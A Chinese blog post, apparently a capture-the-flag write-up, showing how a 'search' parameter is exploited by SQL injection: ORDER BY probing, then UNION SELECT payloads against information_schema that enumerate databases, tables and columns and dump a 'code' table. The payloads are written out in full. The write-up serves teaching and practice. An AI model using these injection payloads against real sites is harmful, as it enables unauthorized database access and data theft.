进入题目之后点击网页的几个按钮连个跳转都没有,遇事不决抓个包看看

看到有个search参数,这里存在sql注入

先用order by探一下列数,然后直接联合注入

注表名:

image-20220408103158993

但是这里并没有什么可以的表,猜测是不是有其他库,重新去看一下库名

这里用database()只能看到一个aliens库,因为database()只能看到当前库,下次记得一定要把所有库都查出来

union+select+1,group_concat(schema_name)+from+information_schema.schemata这个语句可以注出另外两个库image-20220408104227983

看一下alien_code库

search=amazonis_planitia+union+select+1,group_concat(table_name)+from+information_schema.tables+where+table_schema='alien_code'

image-20220408104425032

再看看code表

search=amazonis_planitia+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_name='code'

image-20220408104548291

爆字段

search=amazonis_planitia+union+select+1,group_concat(id,code)+from+alien_code.code

image-20220408104808831


文章作者: Ethe
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Ethe !
评论
  目录